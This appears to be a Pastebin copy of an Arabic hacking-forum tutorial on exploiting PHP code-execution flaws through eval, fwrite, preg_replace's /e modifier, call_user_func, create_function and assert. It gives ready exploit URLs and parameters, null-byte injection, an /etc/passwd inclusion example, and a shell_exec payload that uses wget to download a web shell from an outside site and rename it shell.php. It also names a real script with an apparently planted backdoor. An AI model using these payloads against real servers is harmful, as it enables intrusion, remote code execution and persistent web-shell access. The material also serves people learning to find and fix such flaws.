Advertisement
i-Hmx

PHP code execution tut

Feb 20th, 2012
241
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.12 KB | None | 0 0
  1. [CENTER][IMG]http://www.livehacking.com/web/wp-content/uploads/2012/02/php-logo.jpg[/IMG]
  2.  
  3. السلام عليكم
  4. إزى الحال يا شباب؟
  5. ان شاء الله بخير
  6. الشرح ان شاء الله هيكون شبه مفصل عن ثغرات الـ
  7. [COLOR=Red]PHP Code Execution[/COLOR]
  8. الثغره بتسمح لنا بحقن كود بى اتش بى وتنفيذه فى السكربتات المصابه
  9. ومنه نجيب شل أو أيا كان هدفنا بقى
  10. اللى هتحتاجه عشان تفهم الشرح
  11. [COLOR=Red]- [/COLOR]معرفه ولو بسيطه فى البى اتش بى
  12. [COLOR=Red]- [/COLOR]شوف الدرس ده لانى فيه حاجات كتير هعديها اعتمادا على انها مشروحه هنا قبل كده
  13. [URL]http://www.sec4ever.com/home/showthread.php?t=4831[/URL]
  14. تقدر تعتبر الدرس ده جزء ثانى للرابط اللى فوق ده
  15. تقدر تشوف بس شرح ثغرات الـ
  16. [COLOR=Red]Remote Command Execution[/COLOR]
  17. فى الدرس اللى فوق والباقى هنكمله سوا
  18. خلينا نبدأ على بركة الله
  19. فى الدرس السابق اتكلمنا عن ثغرات ال
  20. [COLOR=Red]Remote Command Execution[/COLOR]
  21. وازاى نستغل ثغرات الـ
  22. [COLOR=Red]PHP execution[/COLOR]
  23. فى تنفيذ اوامرنا على السيرفر
  24. فى الدرس ده هنزود بعض الدوال المصابه اللى هتساعدنا جدا فى اكتشاف النوع ده من الثغرات
  25. +
  26. كيفية استغلالها بالطبع
  27. خلينا نبدأ من الأسهل للأصعب
  28. الدالة الأولى
  29. [COLOR=Red]Eval[/COLOR]
  30. داله معروفه تقوم بتنفيذ كود البى اتش بى اللى بين الأقواس
  31. مثال
  32. [PHP]eval(phpinfo());[/PHP]هينفذ الكود اللى بين الأقواس اللى هيقوم بعرض معلومات البى اتش بى تبع السيرفر
  33. ازاى هنستغل الداله دى
  34. اذا تفتكرو سكربت الدعم اللى اسمه
  35. [COLOR=Blue]Am4ss 1.1[/COLOR]
  36. فى ملف [COLOR=Blue]global.php[/COLOR]
  37. انزل تحت تلاقى
  38. [PHP]eval($bn);[/PHP]يبقى استغلالها كده
  39. [CODE]Global.php?bn=php code[/CODE]مثال
  40. [CODE]Global.php?bn=phpinfo();[/CODE]يبقى الكود هيتنفذ بالشكل ده
  41. [PHP]Eval(phpinfo(););[/PHP]طبعا الثغره واضح 100% انها مزروعه فى السكربت عن قصد
  42. أيا كان اللى زارعها بقى لكن الكود ملوش علاقه بالسكربت
  43. ههههه
  44. مش موضوعنا على اى حال
  45. نكمل
  46. الداله التانيه اللى تهمنا شرحناها فى الموضوع اللى فوق لكن خلينا نتكلم عنها باختصار
  47. [COLOR=Red]Fopen & Fwrite[/COLOR]
  48. [COLOR=Blue]Fopen [/COLOR]> تقوم بفتح ملف
  49. [COLOR=Blue]Fwrite [/COLOR]> تقوم بالكتابة على الملف
  50. مثال لكود مصاب[PHP]
  51. $File=Fopen('data.php','w+')
  52. $data='sec4ever the best over the rest';
  53. Fwrite($file,$data);[/PHP]اذا هيفتح ملف ويكتب فيه
  54. [COLOR=Blue]Sec4ever the best over the rest[/COLOR]
  55. جميل
  56. امتى يكون الكود مصاب؟؟؟
  57. اذا كان الباراميتر التانى اللى هو تبع الداتا اللى هتتكتب مفتوح ومسموح لنا نعدل فيه
  58. مثلا[PHP]
  59. $File=Fopen('data.php','w+');
  60. Fwrite($file,$data);[/PHP]الباراميتر داتا اللى المفروض هيتكتب فى الملف مفتوح
  61. نقدر نحط فيه الكود اللى عايزينه عن طريق
  62. [COLOR=Blue]Post[/COLOR]
  63. مثلا
  64. [IMG]http://customsoundonline.com/1.png[/IMG]
  65. نلاقى ملف
  66. [COLOR=Blue]Data.php[/COLOR]
  67. وفيه الكود تبعنا اتنفذ تمام
  68. [IMG]http://customsoundonline.com/2.png[/IMG]
  69. او ممكن يكون الاتنين باراميتر مفتوحين يعنى زى كده مثلا
  70. [PHP]$File=Fopen($name,'w+');
  71. Fwrite($file,$data);[/PHP]كل اللى هنضيفه فى الاستغلال بس هو اسم الملف
  72. اللى نقدر نتحكم فيه براحتنا
  73. يعنى نعمل بوست كده
  74. [CODE]Name=faris.php&data=phpcode[/CODE]يكريت ملف اسمه
  75. [COLOR=Blue]Faris.php[/COLOR]
  76. ويحط فيه الداتا المطلوبه وكان الله بالسر عليم
  77. طرق اكثر لاستغلال الداله دى تلاقوها فى الدرس السابق
  78. ندخل على داله تانيه
  79. [COLOR=Red]Preg_replace()[/COLOR]
  80. ركز فى الداله دى كويس على فد مق تقدر لانها منتشره نوعا + مبرمجين كتير مش بيهتمو لها وهم بيشيكو ع حماية السكربت
  81. اعتقد الداله قابلت ناس كتير قبل كده
  82. خاصه بعمل استبدال لنص معين بنص آخر
  83. لكن اللى كتير ميعرفوهوش عن الداله دى انها ممكن تقوم بعمل الداله
  84. [COLOR=Sienna]Eval()[/COLOR]
  85. فى بعض الحالات
  86. خلونا نشوف كيفية عمل ااداله[PHP]
  87. $fa='sec4ever';
  88. $sh='best';
  89. $ka= 'thebest';
  90. echo preg_replace($fa,$sh,$ka);[/PHP]ايه اللى هيعمله السكربت
  91. هيبحث عن المتغير $[COLOR=Blue]fa[/COLOR]
  92. فى المتغير $[COLOR=Blue]ka[/COLOR]
  93. ويستبدله بالداتا اللى فى المتغير $[COLOR=Blue]sh[/COLOR]
  94. يعنى بعد تطبيق المثال السابق بتكون النتيجه
  95. [QUOTE]Thesec4ever[/QUOTE]تمام كده؟؟
  96. فرضا ان الملف كان بالشكل ده
  97. [PHP]Preg_replace('/.*/e',$sh,$ka);[/PHP]دالة
  98. [COLOR=Red]Preg_replace[/COLOR]
  99. اما يكون فيها [COLOR=Red]/e[/COLOR]
  100. فى الباراميتر الأولانى بتقول بعمل الداله
  101. [COLOR=Sienna]Eval[/COLOR]
  102. يعنى بتعمل
  103. [COLOR=Sienna]Evaluation[/COLOR]
  104. للباراميتر التانى اللى هو $[COLOR=Blue]sh[/COLOR]
  105. مثال[PHP]
  106. $ka='what ever';
  107. $sh='phpinfo();';
  108. Preg_replace('/.*/e',$sh,$ka);[/PHP]بيكون الناتج
  109. [PHP]Preg_replace('/.*/e','phpinfo();',$ka);[/PHP]وتلاقى الكود اتنفذ تمام :)
  110. ركز فيها تانى وتالت لحد ما تفهمها
  111. فهمتها؟؟؟
  112. ننقل للاستغلال تبعها بقى
  113. عشان نستغلها لازم يكون مسموحلنا نعدل على الباراميتر التانى
  114. لانه هو اللى بيحصله
  115. [COLOR=Sienna]Evaluation[/COLOR]
  116. +
  117. تكون /e موجوده فى الباراميتر الأولانى جاهزه
  118. او مسموحلنا نعدل ونحطها يدوى احنا زى مهنشوف
  119. ناخدهم واحده واحده
  120. المثال الأول
  121. $[PHP]ka='what ever';
  122. Preg_replace('/.*/e',$sh,$ka);[/PHP]زى ما حضرتك شايف الباراميتر التانى مفتوح للتعديل وجاهز لاضافة الكود المطلوب سواء عن طريق
  123. [COLOR=Blue]Post or get[/COLOR]
  124. مثال
  125. [IMG]http://customsoundonline.com/3.png[/IMG]
  126. اوك
  127. فرضنا ان [COLOR=Red]/e[/COLOR]
  128. غير موجوده فى الباراميتر الأولانى
  129. نقدر نستغلها برضه بس بشرط يكون مسموح لنا نعدل فى الباراميتر الأولانى
  130. مثال
  131. [PHP]Preg_replace($fa,$sh,'whetever');[/PHP]يبقى نخلى الاستغلال كده
  132. [CODE]fa=//e&sh=phpinfo();[/CODE]نلاقى تم الاستغلال وكل حاجه زى الفل
  133. طبعا مفيش سكربت هيخلى الحياه حلاوه كده
  134. هههههههه
  135. نشوف ايه المشكله اللى ممكن تواجهنا فى الداله دى
  136. مثال[PHP]
  137. $fa= '/phoenix'.$_GET['1st'].'/farsawy';
  138. $sh= $_GET['replace'];
  139. $ka= 'sec4ever the best over the rest';
  140. echo preg_replace($fa,$sh,$ka);[/PHP]المفروض ان على حسب الطريقه القديمه كان الاستغلال يبقى كده
  141. [CODE]Data.php?1st=//e&replace=phpinfo();[/CODE]بس اذا جربته بيكون الناتج[QUOTE]
  142. Warning: preg_replace() [function.preg-replace]: Unknown modifier '/' in C:\AppServ\www\lab\sec4ever\php-exec\data.php on line 5[/QUOTE]ايه السبب؟؟
  143. السبب ان بعد [COLOR=Red]/e[/COLOR]
  144. موجود
  145. [COLOR=Blue]/farsawy[/COLOR]
  146. عشان تستغل تعمل تنفيذ للأمر لازم تكون
  147. [COLOR=Red]/e[/COLOR]
  148. هى آخر حاجه فى الباراميتر
  149. يعنى يكون كده مثلا
  150. [COLOR=Blue]/phoenix//e[/COLOR]
  151. هنحل دى المشكله ازاى طيب؟؟
  152. هنلجأ لـ
  153. [COLOR=Red]Null Byte Injection[/COLOR]
  154. هى بعينها وغباوتها اللى كنا بنستخدمها فى اللوكال انكلود
  155. [COLOR=Blue]%00[/COLOR]
  156. وظيفتها بتمنع تنفيذ اى حاجه بعدها
  157. بتعتبرها مش موجوده من الاساس
  158. يعنى فى الانكلود مثلا لما كنا بنعمل انكلود لملف كده
  159. [QUOTE]File=/etc/passwd%00.php[/QUOTE]كان بيفتح ملف ال
  160. /etc/passwd
  161. ويتجاهل
  162. .php
  163. لانها بعد ال
  164. [COLOR=Blue]Null Byte[/COLOR]
  165. تمام لحد كده؟؟؟
  166. ده بالظبط اللى هنعمله هنا
  167. الاستغلال يكون
  168. [CODE]data.php?1st=/e%00&replace=phpinfo();[/CODE]جميل اختفى الخطأ لكن هتلاقى الناتج فى الصفحه
  169. [COLOR=Blue]sec4ever the best over the rest[/COLOR]
  170. لكن الكود مش اتنفذ
  171. أحا بقى . . احنا هنقضيها؟؟
  172. ههههههه
  173. أقول لك السبب يا حج
  174. فاكر المثال اللى فوق خالص
  175. [PHP]Preg_replace($fa,$sh,'whetever');[/PHP]كانت
  176. fa=/e
  177. فقط بدون اى اضافات
  178. لكن هنا حتى بعد ما ضفنا النال بايت بيكون شكل الكود
  179. [COLOR=Blue]fa= /phoenix/e[/COLOR]
  180. طبعا كلمة فينكس موجوده فى الكود من الاساس مش مسموح لنا نعدلها
  181. وعشان يتنفذ الأمر لازم تكون كلمة فينكس موجوده فى الباراميتر
  182. Ka
  183. اللى هو عباره عن
  184. sec4ever the best over the rest
  185. طيب ايه الحل؟؟؟
  186. هنضيف العلامه ||
  187. فاكرينها برضه؟؟
  188. فى الموضوع اللى فوق
  189. العلامتين دول هيخلو الباراميتر تبعنا مطابق للباراميتر الأخير
  190. يعنى الاستغلال بيكون كده
  191. [CODE]data.php?1st=||/e%00&replace=phpinfo();[/CODE]تلاقى الكود اتنفذ فله شمعه منوره ع رأى زيد
  192. هههه
  193. كده انتهينا تقريبا من دالة
  194. Preg_replace
  195. وشرحنا الـ
  196. Null Byte Injection
  197. ندخل على داله تانيه
  198. [COLOR=Red]call_user_func($fa,$sec);[/COLOR]
  199. داله بتقوم باستدعاء داله اخرى فى الباراميتر الأول
  200. $[COLOR=Blue]fa[/COLOR]
  201. وتقوم بتنفيذ الكود الموجود فى البرراميتر التانى عن طريق الداله فى الباراميتر الأول
  202. حد فاهم حاجه؟؟
  203. هههههههههههه
  204. ببساطه
  205. نفرض ان[COLOR=Blue]
  206. $fa='system';
  207. $sec='dir';[/COLOR]
  208. اذا نفذناها فى الداله دى
  209. call_user_func
  210. بيكون الشكل داخل الداله كده
  211. [PHP]call_user_func(system,dir);[/PHP]وبيتنفذ بالشكل ده
  212. [PHP]System('dir')[/PHP]طبعا بتستغلها بالشكل اللى بتحبه انت
  213. يعنى ممكن مثل
  214. [CODE]Data.php?fa=shell_exec&sec=wget http://sec4ever.com/shell.txt;mv shell.txt shell.php[/CODE]تسحب شل مباشرة
  215. نشوف داله تانيه؟؟
  216. [COLOR=Red]create_function[/COLOR]
  217. نظامها كده[PHP]
  218. $faris = create_function($first,$second);
  219. Faris();[/PHP]بتتكون من اتنين باراميتر برضه
  220. الباراميتر الأولانى مش مهم بالنسبه لنا
  221. يهمنا التانى هو اللى هنعدل فيه
  222. يعنى مثلا اذا كان
  223. [PHP]Eval('phpinfo();');[/PHP]بيتنفذ تمام
  224. [PHP]System('dir');[/PHP]الخ الخ
  225.  
  226. الداله
  227. [COLOR=Red]Assert[/COLOR]
  228. نفس الداله
  229. [COLOR=Sienna]Eval[/COLOR]
  230. [PHP]Assert('phpinfo();');[/PHP]لحد هنا نقدر نقول اننا جبنا أغلب دوال االمسؤاله عن الـ
  231. Php Code Execution
  232. طبعا الموضوع منتهاش لحد هنا
  233. وأى جديد هضيفه ان شاء الله
  234. أى استفسار موجود بإذن الله
  235. بالتوفيق للجميع
  236. Faris/.[/CENTER]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement